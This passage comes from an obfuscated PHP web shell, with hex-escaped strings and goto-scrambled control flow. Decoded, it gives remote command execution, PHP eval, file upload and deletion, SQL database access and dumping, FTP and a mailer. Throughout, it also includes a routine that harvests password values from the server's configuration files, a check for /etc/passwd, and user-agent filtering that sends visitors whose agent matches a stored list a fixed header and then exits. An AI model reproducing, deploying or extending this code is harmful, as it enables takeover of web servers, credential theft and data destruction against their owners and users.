78\72\40\141\x75\164\157\73\40\164\145\x78\164\x2d\x61\154\x69\147\156\x3a\154\145\146\164\x3b\x20\175\12\x2e\x64\x77\151\x64\x74\150\x20\173\x20\167\x69\x64\x74\x68\x3a\40\x39\71\x25\x3b\40\175\12\x2e\142\141\x72\142\147\40\173\x20" . z2o("\43\x64\144\144\x64\144\144", "\43\x66\x66\146\x66\x66\x66") . "\x20\142\x6f\162\144\145\162\x3a\61\x70\170\x20\x73\x6f\x6c\151\144\x20\43\143\x63\143\x63\143\143\x3b\40\x6d\141\162\147\151\156\x2d\162\151\x67\x68\x74\72\40\x35\160\x78\x3b\40\x70\141\x64\144\x69\156\147\72\60\x3b\40\x77\x69\144\164\150\x3a\x31\x30\60\x70\170\x3b\40\x68\145\x69\x67\x68\x74\72\x37\160\x78\73\40\166\145\x72\x74\x69\143\x61\x6c\55\x61\x6c\151\x67\x6e\x3a\x6d\x69\144\x64\x6c\145\x3b\40\x66\x6c\157\141\x74\72\154\145\x66\x74\73\40\x7d\12\x2e\142\x61\162\x66\x69\x6c\x20\x7b\x20" . z2o("\x23\70\65\x46\x46\x30\x30", "\43\x34\66\71\x46\x30\102") . "\x3b\40\150\x65\x69\147\x68\164\72\67\x70\x78\x3b\40\x70\141\x64\x64\x69\156\x67\72\x30\73\x20\x7d\xa") . "\xa\x3c\x2f\x73\164\x79\154\145\x3e\12\x3c\57\150\x65\141\x64\76\12\x3c\x62\x6f\144\171" . ($act == "\x63\155\144" ? "\40\157\x6e\154\157\x61\144\x3d\42\x64\157\143\165\x6d\145\x6e\x74\x2e\143\157\x6d\155\141\156\144\56\x63\155\x64\56\x66\x6f\143\165\163\50\51\x3b\x22" : '') . "\76" . (@in_array($act, array("\x6c\163", "\x73\x65\x61\162\143\x68", "\146\x74\x70")) ? z3n() : '') . ($act == "\x66" && @isset($ft) && $ft == "\145\144\151\x74" ? z1c() : '') . "\xa" . z7h($login ? "\61" : "\60") . z6g() . z7k(); } goto Hz31L; hvNLl: class my_sql { var $host = "\154\157\143\x61\154\x68\x6f\x73\x74"; var $port = ''; var $user = ''; var $pass = ''; var $base = ''; var $db = ''; var $connection; var $res; var $error; var $rows; var $columns; var $num_rows; var $num_fields; var $dump; function connect() { switch ($this->db) { case "\x4d\x79\123\121\x4c": if (empty($this->port)) { $this->port = "\x33\x33\x30\66"; } if (!@function_exists("\x6d\171\163\161\x6c\x5f\x63\157\156\156\145\143\x74")) { return 0; } $this->connection = @mysql_connect($this->host . "\72" . $this->port, $this->user, $this->pass); if (is_resource($this->connection)) { return 1; } break; case "\x4d\123\123\121\114": if (empty($this->port)) { $this->port = "\x31\x34\x33\x33"; } if (!@function_exists("\155\x73\x73\161\154\x5f\x63\157\x6e\156\x65\143\x74")) { return 0; } $this->connection = @mssql_connect($this->host . "\54" . $this->port, $this->user, $this->pass); if ($this->connection) { return 1; } break; case "\120\157\163\x74\x67\162\145\x53\121\x4c": if (empty($this->port)) { $this->port = "\x35\64\63\62"; } $str = "\150\x6f\163\164\75\x27" . $this->host . "\47\40\x70\157\x72\x74\x3d\x27" . $this->port . "\x27\40\x75\x73\x65\162\75\x27" . $this->user . "\47\40\x70\141\163\163\x77\x6f\x72\x64\75\x27" . $this->pass . "\47\x20\x64\x62\x6e\x61\x6d\x65\x3d\47" . $this->base . "\47"; if (!@function_exists("\160\x67\137\x63\x6f\x6e\x6e\145\x63\x74")) { return 0; } $this->connection = @pg_connect($str); if (is_resource($this->connection)) { return 1; } break; case "\x4f\162\x61\143\154\x65": if (!@function_exists("\157\x63\x69\154\x6f\x67\157\x6e")) { return 0; } $this->connection = @ocilogon($this->user, $this->pass, $this->base); if (is_resource($this->connection)) { return 1; } break; } return 0; } function select_db() { switch ($this->db) { case "\x4d\171\123\x51\114": if (@mysql_select_db($this->base, $this->connection)) { return 1; } break; case "\x4d\123\123\x51\x4c": if (@mssql_select_db($this->base, $this->connection)) { return 1; } break; case "\x50\x6f\x73\164\x67\162\145\123\121\x4c": return 1; break; case "\117\162\141\x63\154\145": return 1; break; } return 0; } function list_dbs() { $tmplist = array(); switch ($this->db) { case "\x4d\171\123\121\114": $this->res = @mysql_list_dbs($this->connection); while ($tmprow = @mysql_fetch_object($this->res)) { $tmplist[$tmprow->Database] = $tmprow->Database; } break; case "\115\123\x53\x51\114": break; case "\120\x6f\163\x74\147\162\x65\123\121\114": break; case "\x4f\162\141\x63\x6c\145": break; } return $tmplist; } function query($query) { $this->res = $this->error = ''; switch ($this->db) { case "\x4d\x79\x53\x51\x4c": if (false === ($this->res = @mysql_query("\57\52" . chr(0) . "\52\x2f" . $query, $this->connection))) { $this->error = @mysql_error($this->connection); return 0; } else { if (is_resource($this->res)) { return 1; } } return 2; break; case "\x4d\123\x53\121\114": if (false === ($this->res = @mssql_query($query, $this->connection))) { $this->error = "\x51\165\x65\162\171\40\x65\162\162\157\x72"; return 0; } else { if (@mssql_num_rows($this->res) > 0) { return 1; } } return 2; break; case "\120\157\163\x74\x67\162\145\123\x51\114": if (false === ($this->res = @pg_query($this->connection, $query))) { $this->error = @pg_last_error($this->connection); return 0; } else { if (@pg_num_rows($this->res) > 0) { return 1; } } return 2; break; case "\117\x72\141\143\154\x65": if (false === ($this->res = @ociparse($this->connection, $query))) { $this->error = "\121\165\x65\162\171\x20\x70\141\162\x73\x65\40\145\x72\162\x6f\162"; } else { if (@ociexecute($this->res)) { if (@ocirowcount($this->res) != 0) { return 2; } return 1; } $error = @ocierror(); $this->error = $error["\155\145\x73\163\x61\x67\145"]; } break; } return 0; } function get_result() { $this->rows = array(); $this->columns = array(); $this->get_num_fields(); $this->get_num_rows(); switch ($this->db) { case "\x4d\x79\123\121\x4c": while (false !== ($this->rows[] = @mysql_fetch_assoc($this->res))) { } if ($this->num_fields) { $this->columns = @array_keys($this->rows[0]); if (@count($this->columns) < 1) { $this->get_columns(); } @mysql_free_result($this->res); return 1; } @mysql_free_result($this->res); break; case "\115\x53\x53\121\x4c": while (false !== ($this->rows[] = @mssql_fetch_assoc($this->res))) { } if ($this->num_fields) { $this->columns = @array_keys($this->rows[0]); if (@count($this->columns) < 1) { $this->get_columns(); } @mssql_free_result($this->res); return 1; } @mssql_free_result($this->res); break; case "\120\x6f\x73\x74\147\162\x65\x53\121\x4c": while (false !== ($this->rows[] = @pg_fetch_assoc($this->res))) { } if ($this->num_fields) { $this->columns = @array_keys($this->rows[0]); if (@count($this->columns) < 1) { $this->get_columns(); } @pg_free_result($this->res); return 1; } @pg_free_result($this->res); break; case "\117\162\141\x63\x6c\145": while (false !== ($this->rows[] = @oci_fetch_assoc($this->res))) { } if ($this->num_fields) { $this->columns = @array_keys($this->rows[0]); if (@count($this->columns) < 1) { $this->get_columns(); } @ocifreestatement($this->res); return 1; } @ocifreestatement($this->res); break; } return 0; } function get_num_rows() { $this->num_rows = 0; switch ($this->db) { case "\x4d\171\123\121\114": $this->num_rows = @mysql_num_rows($this->res); break; case "\x4d\x53\x53\121\x4c": $this->num_rows = @mssql_num_rows($this->res); break; case "\120\157\163\x74\x67\x72\x65\x53\x51\114": $this->num_rows = @pg_num_rows($this->res); break; case "\117\x72\141\x63\x6c\x65": while (false !== @oci_fetch_assoc($this->res)) { $this->num_rows++; } break; } } function get_columns() { $this->columns = array(); $this->get_num_fields(); switch ($this->db) { case "\x4d\171\x53\x51\114": for ($i = 0; $i < $this->num_fields; $i++) { if (@mysql_field_name($this->res, $i) !== false) { $this->columns[] = @mysql_field_name($this->res, $i); } } break; case "\x4d\123\123\x51\x4c": for ($i = 0; $i < $this->num_fields; $i++) { if (@mssql_field_name($this->res, $i) !== false) { $this->columns[] = @mssql_field_name($this->res, $i); } } break; case "\x50\x6f\163\164\147\162\x65\123\x51\114": for ($i = 0; $i < $this->num_fields; $i++) { if (@pg_field_name($this->res, $i) !== false) { $this->columns[] = @pg_field_name($this->res, $i); } } break; case "\117\162\x61\143\154\145": for ($i = 0; $i < $this->num_fields; $i++) { if (@ocicolumnname($this->res, $i) !== false) { $this->columns[] = @ocicolumnname($this->res, $i); } } break; } } function get_num_fields() { $this->num_fields = 0; switch ($this->db) { case "\x4d\171\x53\x51\x4c": $this->num_fields = @mysql_num_fields($this->res); break; case "\x4d\x53\123\121\x4c": $this->num_fields = @mssql_num_fields($this->res); break; case "\x50\x6f\163\164\147\162\x65\123\x51\114": $this->num_fields = @pg_num_fields($this->res); break; case "\x4f\x72\x61\x63\x6c\x65": $this->num_fields = @ocinumcols($this->res); break; } } function parse_fields($table) { if (!$this->query("\x53\105\x4c\x45\x43\124\40\52\x20\x46\122\x4f\115\x20\140" . $table . "\140\x20\114\111\115\111\124\x20\60\x2c\61\73")) { return 0; } return $this->get_result() ? $this->num_fields : 0; } function count_rows($table) { $tmpcount = 0; switch ($this->db) { case "\115\x79\123\x51\x4c": $this->query("\x53\x45\x4c\105\103\x54\x20\103\117\x55\x4e\x54\x28\52\x29\40\106\x52\x4f\x4d\40\140" . $table . "\x60\73"); if (@is_resource($this->res)) { $tmp = @mysql_fetch_array($this->res); $tmpcount = $tmp[0]; } break; case "\115\x53\123\x51\x4c": break; case "\120\x6f\x73\164\x67\x72\145\x53\x51\114": break; case "\x4f\162\141\x63\154\x65": break; } return @is_numeric($tmpcount) ? $tmpcount : 0; } function dump($table) { if (empty($table)) { return 0; } $this->dump = array(); $this->dump[0] = "\55\55"; $this->dump[1] = "\x2d\x2d\40\55\55\55\x2d\x2d\55\x2d\55\55\x2d\55\x2d\x2d\x2d\x2d\55\x2d\x2d\x2d\x2d\55\55\x2d\55\55\x2d\55\x2d\55\55\55\x2d\x2d\x2d\55\x2d\x2d\x2d\55\x2d\x2d\55\55\x2d\55\x2d\x2d\40"; $this->dump[2] = "\x2d\55\40\104\165\x6d\x70\x20\x64\141\x74\x65\x20\x3a\40" . @date("\x64\x2f\155\57\x59\40\x48\72\x69\x3a\x73"); $this->dump[3] = "\55\55\x20\x50\110\120\40\x73\x68\145\x6c\154\x20\x3a\x20" . z8o(); $this->dump[4] = "\55\55\x20\55\x2d\55\x2d\x2d\x2d\55\55\55\55\x2d\55\x2d\x2d\55\55\55\55\55\x2d\55\55\x2d\x2d\55\x2d\55\55\55\55\x2d\x2d\55\x2d\x2d\x2d\55\55\x2d\55\x2d\x2d\55\x2d\55\55\x2d\x20"; $this->dump[5] = "\x2d\55\40\x53\x51\x4c\40\150\157\163\164\40\x20\72\x20" . $this->host . "\72" . $this->port; $this->dump[6] = "\x2d\x2d\x20\123\x51\114\x20\x75\163\x65\x72\40\40\x3a\x20" . $this->user; $this->dump[7] = "\x2d\55\40\123\x51\x4c\40\x70\141\x73\163\x20\40\x3a\40" . $this->pass; $this->dump[8] = "\x2d\55\40\x53\121\114\40\x64\142\40\40\40\40\x3a\x20" . $this->base; $this->dump[9] = "\x2d\55\x20\123\121\x4c\x20\164\141\x62\x6c\x65\x20\72\x20" . $table; $this->dump[10] = "\x2d\x2d\40\55\x2d\55\x2d\x2d\55\x2d\x2d\x2d\55\55\x2d\x2d\x2d\x2d\55\55\x2d\55\x2d\x2d\x2d\x2d\x2d\x2d\x2d\x2d\x2d\x2d\x2d\55\x2d\55\55\55\x2d\55\55\x2d\x2d\x2d\55\55\55\55\x2d\55\x20"; switch ($this->db) { case "\x4d\x79\123\x51\114": $this->dump[0] = "\x2d\55\40\115\171\123\x51\114\40\x64\165\x6d\x70"; if ($this->query("\57\x2a" . chr(0) . "\x2a\57\40\x53\x48\117\x57\x20\103\122\105\101\124\x45\40\124\x41\102\114\105\x20\x60" . $table . "\x60") != 1) { return 0; } if (!$this->get_result()) { return 0; } $this->dump[] = $this->rows[0]["\x43\x72\x65\141\164\x65\x20\124\141\142\x6c\145"]; $this->dump[] = "\x2d\55\40\x2d\55\55\55\55\55\55\x2d\55\x2d\x2d\55\55\x2d\x2d\55\55\55\55\55\x2d\55\55\x2d\55\x2d\55\55\55\x2d\x2d\x2d\x2d\x2d\x2d\55\55\x2d\x2d\55\x2d\x2d\55\x2d\55\x2d\x2d\x20"; if ($this->query("\x2f\x2a" . chr(0) . "\52\x2f\40\x53\x45\x4c\x45\x43\x54\40\52\40\106\x52\117\x4d\x20\140" . $table . "\140") != 1) { return 0; } if (!$this->get_result()) { return 0; } for ($i = 0; $i < $this->num_rows; $i++) { foreach ($this->rows[$i] as $k => $v) { $this->rows[$i][$k] = @mysql_real_escape_string($v); } $this->dump[] = "\111\116\123\105\x52\124\40\x49\116\124\x4f\x20\x60" . $table . "\140\x20\x28\140" . @implode("\x60\54\40\x60", $this->columns) . "\140\x29\x20\126\x41\x4c\125\x45\x53\x20\x28\x27" . @implode("\47\x2c\x20\x27", $this->rows[$i]) . "\x27\51\73"; } break; case "\x4d\123\123\x51\x4c": $this->dump[0] = "\55\55\40\115\x53\x53\121\114\40\x64\x75\155\160"; if ($this->query("\123\105\114\105\103\124\x20\52\40\x46\x52\117\115\x20" . $table) != 1) { return 0; } if (!$this->get_result()) { return 0; } for ($i = 0; $i < $this->num_rows; $i++) { foreach ($this->rows[$i] as $k => $v) { $this->rows[$i][$k] = @addslashes($v); } $this->dump[] = "\111\116\x53\x45\x52\124\x20\x49\116\x54\x4f\x20" . $table . "\40\x28" . @implode("\54\40", $this->columns) . "\x29\x20\x56\x41\114\125\x45\x53\40\50\x27" . @implode("\47\54\40\x27", $this->rows[$i]) . "\47\x29\73"; } break; case "\x50\157\163\x74\x67\162\x65\x53\x51\114": $this->dump[0] = "\55\55\40\x50\157\x73\x74\147\x72\145\123\x51\x4c\40\x64\x75\155\x70"; if ($this->query("\123\x45\x4c\105\103\x54\40\x2a\40\x46\x52\x4f\x4d\x20" . $table) != 1) { return 0; } if (!$this->get_result()) { return 0; } for ($i = 0; $i < $this->num_rows; $i++) { foreach ($this->rows[$i] as $k => $v) { $this->rows[$i][$k] = @addslashes($v); } $this->dump[] = "\111\116\123\105\122\124\x20\x49\x4e\124\117\x20" . $table . "\x20\x28" . @implode("\54\40", $this->columns) . "\51\40\126\101\x4c\x55\x45\x53\40\x28\47" . @implode("\x27\x2c\40\47", $this->rows[$i]) . "\x27\x29\73"; } break; case "\117\162\x61\143\154\145": $this->dump[0] = "\55\x2d\x20\117\x52\x41\103\114\x45\x20\x64\x75\x6d\x70"; break; default: return 0; break; } return 1; } function close() { switch ($this->db) { case "\115\x79\123\x51\x4c": @mysql_close($this->connection); break; case "\115\x53\123\121\114": @mssql_close($this->connection); break; case "\120\x6f\163\x74\147\162\x65\x53\121\x4c": @pg_close($this->connection); break; case "\x4f\x72\141\x63\x6c\145": @oci_close($this->connection); break; } } function affected_rows() { switch ($this->db) { case "\115\x79\x53\x51\114": return @mysql_affected_rows($this->res); break; case "\x4d\123\x53\121\114": return @mssql_affected_rows($this->res); break; case "\x50\x6f\163\x74\147\x72\145\123\x51\114": return @pg_affected_rows($this->res); break; case "\x4f\162\141\143\154\145": return @ocirowcount($this->res); break; default: return 0; break; } } } goto eOmEi; hrwR0: function z1m($file, $user) { global $passarray; if (!@isset($passarray)) { $passarray = array(); } if (!@isset($passarray[$user])) { $passarray[$user] = array(); } $f = z9p($file); if (!empty($f)) { $regvar = "\x2f\x5c\x24\x28\133\101\x2d\132\141\55\172\x5f\x5d\133\x41\55\132\141\x2d\172\137\x30\55\x39\x5d\52\x29\x5c\x73\x2a\75\134\163\52\50\133\x27\42\135\173\61\x7d\x29\x28\133\x5e\134\62\134\163\134\x74\134\x72\134\156\135\x2b\51\x5c\x32\x5c\163\52\x3b\57"; $regvar1 = "\57\50\x5b\47\x22\135\173\x31\x7d\x29\50\133\x41\55\132\141\x2d\172\137\135\133\x41\x2d\x5a\141\x2d\x7a\137\x30\x2d\x39\135\x2a\x29\134\x31\133\x5c\163\x5c\x74\x5c\x72\134\156\x5d\x2a\75\x3e\x5b\134\163\134\x74\134\x72\134\x6e\135\52\x28\x5b\47\42\x5d\x7b\x31\x7d\x29\x28\x5b\136\134\63\134\163\134\164\134\x72\x5c\156\x5d\x2b\51\x5c\x33\57"; $regvar2 = "\57\134\x5b\50\133\47\42\x5d\x7b\61\175\x29\50\133\x41\x2d\x5a\x61\55\172\137\x5d\x5b\101\55\132\x61\x2d\172\137\x30\55\71\135\52\51\x5c\x31\x5c\135\133\x5c\x73\x5c\x74\134\x72\134\x6e\135\52\x3d\x5b\x5c\163\x5c\x74\134\162\134\156\135\x2a\x28\133\x27\42\x5d\173\61\x7d\x29\x28\133\136\134\63\134\x73\x5c\164\134\162\x5c\156\x5d\53\x29\134\x33\57"; $regconst = "\57\144\x65\x66\151\x6e\145\x5c\x73\x2a\134\x28\x28\x5b\x27\x22\135\x7b\61\175\51\x28\x5b\x41\x2d\x5a\141\55\x7a\x5f\135\133\101\55\132\x61\x2d\172\137\x30\55\x39\x5d\52\51\x5c\x31\x5c\x73\x2a\x2c\134\x73\52\x28\133\x27\x22\x5d\x7b\61\175\51\50\133\136\134\x33\x5c\163\x5c\164\134\162\134\x6e\x5d\x2b\x29\134\x33\x5c\163\x2a\x5c\x29\x5c\x73\52\x3b\57"; if (@preg_match_all($regvar, $f, $m)) { $var = $m[1]; $val = $m[3]; for ($i = 0; $i < @count($var); $i++) { if (@preg_match("\x2f\160\141\163\x73\x2f\x69", $var[$i])) { if (!@empty($val[$i]) && !@in_array($val[$i], $passarray[$user])) { $passarray[$user][] = $val[$i]; } } } unset($var); unset($val); unset($m); } if (@preg_match_all($regvar1, $f, $m)) { $var = $m[2]; $val = $m[4]; for ($i = 0; $i < @count($var); $i++) { if (@preg_match("\57\160\x61\x73\x73\57\x69", $var[$i])) { if (!@empty($val[$i]) && !@in_array($val[$i], $passarray[$user])) { $passarray[$user][] = $val[$i]; } } } unset($var); unset($val); unset($m); } if (@preg_match_all($regvar2, $f, $m)) { $var = $m[2]; $val = $m[4]; for ($i = 0; $i < @count($var); $i++) { if (@preg_match("\x2f\x70\x61\163\163\x2f\151", $var[$i])) { if (!@empty($val[$i]) && !@in_array($val[$i], $passarray[$user])) { $passarray[$user][] = $val[$i]; } } } unset($var); unset($val); unset($m); } if (@preg_match_all($regconst, $f, $m)) { $var = $m[2]; $val = $m[4]; for ($i = 0; $i < @count($var); $i++) { if (@preg_match("\x2f\x70\141\163\x73\57\x69", $var[$i])) { if (!@empty($val[$i]) && !@in_array($val[$i], $passarray[$user])) { $passarray[$user][] = $val[$i]; } } } unset($var); unset($val); unset($m); } } unset($f); } goto hD0OD; jyJ6v: function z9u() { if (@isset($_SERVER["\110\124\x54\120\137\x55\123\x45\122\137\101\x47\105\x4e\x54"])) { if (@preg_match("\x2f" . @implode("\x7c", z7x(3, "\x61\147\145\156\x74\163")) . "\x2f\151", $_SERVER["\110\124\124\x50\137\x55\123\x45\x52\137\101\x47\x45\x4e\x54"])) { @header(z7x(3, "\163\145\156\x64\137\x68\x65\141\x64\x65\x72")); die(0); } } } goto tsXTw; tfoyi: z4g(); goto KId1L; f3HO3: function z8s($d) { $d = z1a($d); $h = @opendir($d); while (($o = @readdir($h)) !== false) { if ($o != "\56" && $o != "\x2e\x2e" && !z3j($o)) { if (!z4j($d . $o)) { @unlink($d . $o); } else { z8s($d . $o); } } } @closedir($h); @rmdir($d); return !z4j($d); } goto SO6vO; RfUVP: if (!z7r("\163\x74\x72\137\162\x65\x70\145\x61\x74")) { function str_repeat($i, $c) { $r = ''; for ($n = 0; $n < $c; $n++) { $r .= $i; } return $r; } } goto h9eR1; m3Iuh: function z4w($n, $v) { global ${$n}; return "\x3c\151\x6e\x70\165\x74\x20\164\171\160\145\75\42\x72\x61\x64\x69\157\x22\40\x6e\141\155\x65\75\x22" . $n . "\42\x20\x76\x61\154\x75\145\x3d\42" . $v . "\x22" . (@isset(${$n}) && ${$n} == $v ? "\x20\143\x68\145\143\153\x65\144" : '') . "\76"; } goto mdHKd; s1vCu: function z0s() { global $act, $sh_exec, $safe_exec, $bftp, $bmail; echo z7s(z7i(z5d("\x68\151\163\x74") . z8r(z9s("\x32\64"), "\154\163", @in_array($act, array("\154\x73", "\144", "\146", "\x64\x66\x75\x6e\143"))) . z8r(z9s("\62\65"), "\x73\x65\141\162\x63\150", $act == "\x73\145\141\x72\143\150") . z8r(z9s("\x32\66"), "\x75\160\x6c\x6f\x61\x64", $act == "\x75\x70\x6c\157\x61\144") . ($sh_exec || $safe_exec ? z8r(z9s("\x32\x37"), "\143\155\x64", $act == "\x63\155\x64") : '') . z8r(z9s("\x32\70"), "\145\166\141\x6c", $act == "\x65\x76\141\x6c") . ($bftp ? z8r(z9s("\61\71\63"), "\146\164\160", $act == "\x66\x74\x70") : '') . z8r(z9s("\62\71"), "\x73\161\x6c", $act == "\x73\x71\x6c") . ($bmail ? z8r(z9s("\63\60"), "\x6d\x61\x69\x6c\145\162", $act == "\x6d\x61\x69\x6c\x65\x72") : '') . z8r(z9s("\63\x31"), "\145\156\143\157\x64\x65\x72\163", $act == "\145\156\143\157\x64\x65\x72\163") . z8r(z9s("\x33\x32"), "\x74\x6f\157\154\163", $act == "\164\x6f\x6f\154\x73") . ($sh_exec ? z8r(z9s("\x33\x33"), "\160\x72\x6f\143\x65\163\163\x65\163", $act == "\160\x72\157\x63\145\x73\x73\x65\x73") : '') . z8r(z9s("\63\x34"), "\x73\x79\163\x69\156\x66\x6f", @in_array($act, array("\163\x79\x73\x69\156\146\157", "\160\150\160\151\156\146\x6f"))) . z8r("\46\156\142\163\x70\73", false, '')), "\x34"); } goto zKZd2; WLiqP: function z0h($f, $t = '', $d = 0) { global $use_buffer, $bcut, $bcopy, $with_ls, $external, $bziparchive, $reg_archives, $nix, $sh_exec; if ($d == 0) { $d = z3p($f); } else { global $d; } $f = z2h($f); $a = array(); $a["\146\x75\156\143\x74\151\x6f\x6e\x73"] = z9s("\67\64"); $a["\145\x64\151\164"] = z9s("\x37\65"); if (@isset($reg_archives) && $reg_archives != '') { if (@preg_match("\x2f\x5c\x2e\x28" . $reg_archives . "\x29\x24\57", $f, $m)) { if (@isset($m[1])) { if ($m[1] != "\x7a\x69\160" || $m[1] == "\172\151\160" && $nix && $sh_exec) { $a["\x65\170\x74\x72\x61\143\x74"] = z9s("\x34\67\x38", $m[1]); } if ($m[1] == "\172\151\x70" && $bziparchive) { $a["\x65\x78\x74\162\141\x63\164\172\x69\160"] = z9s("\64\x37\70", "\172\151\160\40\50\160\x68\160\x29"); } } } } if ($use_buffer && (!@isset($with_ls) || !$with_ls) && (!@isset($external) || !$external)) { $a["\x62\x63\x6f\160\171"] = @in_array($f, $bcopy) ? z9s("\66\x39") : z9s("\x36\x37"); $a["\142\143\x75\x74"] = @in_array($f, $bcut) ? z9s("\x37\60") : z9s("\66\70"); } $a["\144\x65\x6c\x65\164\x65"] = z9s("\x37\62"); if (!@isset($external) || !$external) { $a["\x72\145\156\141\155\145"] = z9s("\67\63"); } $a["\144\x6f\167\156\154\157\141\x64"] = z9s("\67\x36"); return z5c(array("\141\143\x74" => "\x66", "\x66" => $f, "\144" => $d, "\163\150\x6f\x77\142\165\146"), z4a("\x66\164", $a, "\63") . z8v("\x26\162\141\x71\x75\x6f\73", "\x36"), $t); } goto tADMf; AFaDc: if ($act == "\146" && @isset($ft)) { $ft = @trim($ft); if (@empty($ft)) { $act = "\x6c\x73"; } } goto Zzxz4; icFMi: function z4e($f) { return z2r($f, "\146"); } goto C3dIh; PWOBA: function z9p($f) { global $nix, $sh_exec; $r = ''; if (z7r("\x66\157\x70\x65\x6e") && z7r("\x66\x65\157\x66") && z7r("\x66\147\145\x74\x73") && z7r("\146\145\x6f\146") && z7r("\x66\x63\154\x6f\x73\x65") && ($fp = @fopen($f, "\162")) !== false) { while (!@feof($fp)) { $r .= @fgets($fp); } @fclose($fp); } elseif (z7r("\146\x6f\x70\x65\x6e") && z7r("\146\162\x65\141\x64") && z7r("\x66\143\x6c\x6f\163\145") && z7r("\x66\151\x6c\145\x73\x69\172\145") && ($fp = @fopen($f, "\162")) !== false) { $r = @fread($fp, @filesize($f)); @fclose($fp); } elseif ($nix && $sh_exec) { $r = z9t("\143\x61\164\40\x22" . $f . "\42\40\x32\x3e\57\144\145\166\57\x6e\165\154\x6c", 0); } elseif (z7r("\146\151\154\x65") && ($fl = @file($f))) { foreach ($fl as $l) { $r .= $l; } } elseif (z7r("\x66\x69\154\145\x5f\x67\x65\164\137\x63\157\156\164\145\156\x74\163")) { $r = @file_get_contents($f); } elseif (z7r("\162\x65\141\144\146\151\154\x65")) { $r = @readfile($f); } elseif (z7r("\150\151\x67\x68\154\151\147\x68\164\137\x66\151\x6c\145")) { $r = @highlight_file($f); } elseif (z7r("\x73\x68\157\x77\137\x73\x6f\x75\162\143\x65")) { $r = @show_source($f); } return $r; } goto HuIOw; Q9cE6: function z3m($i) { return @substr(@preg_replace("\57\56\173\x31\54\67\66\x7d\57", "\x27\x5c\x30\47\x2e\xa", @base64_encode($i)), 0, -2); } goto bWlKk; vWBPR: if (@version_compare(@phpversion(), "\x34\x2e\x31\x2e\x30") == -1) { $_POST =& $HTTP_POST_VARS; $_GET =& $HTTP_GET_VARS; $_SERVER =& $HTTP_SERVER_VARS; $_COOKIE =& $HTTP_COOKIE_VARS; } goto rW1PB; Bxuwi: $execaliases = array("\x73\150\x20\45\x66\45" => array("\x73\150"), "\x70\145\162\154\x20\45\146\45" => array("\160\154", "\143\x67\151"), "\x70\171\x74\x68\x6f\156\x20\x25\x66\x25" => array("\x70\171"), "\160\150\160\x20\45\146\x25" => array("\x70\150\x70", "\160\x68\x70\x33", "\160\x68\x70\64", "\160\x68\x70\x35")); goto BEvCo; Qs5ko: function z8e($i) { return "\74\x73\160\x61\156\40\163\x74\x79\x6c\145\75\42\x66\x6f\x6e\164\x2d\x73\151\172\145\72\40\71\x70\x78\73\x20\x63\157\154\157\162\x3a\40\x23\63\x33\63\63\63\x33\73\x20\146\x6f\x6e\x74\x2d\x77\145\x69\147\x68\164\x3a\x20\142\157\x6c\144\73\42\x3e" . $i . "\x26\156\142\163\160\x3b\x20\74\57\x73\x70\x61\x6e\x3e"; } goto NFkxb; duiW_: function z9m($c = '', $s = '') { return z6z('', $c, $s); } goto pGBDb; LWA8d: if ($nix) { if (z0n("\57\x65\x74\143\x2f\160\x61\x73\163\167\144")) { $bpasswd = 1; } } goto FebfF; kMxJ6: if ($act == "\x66\x74\160") { $a_transfer = array("\x46\x54\x50\x5f\x42\111\x4e\x41\122\x59" => "\x46\124\x50\137\x42\x49\116\101\122\x59", "\106\124\x50\137\x41\x53\x43\x49\x49" => "\106\x54\x50\x5f\101\123\103\111\x49"); $hmsg = ''; $hideconnect = 0; $js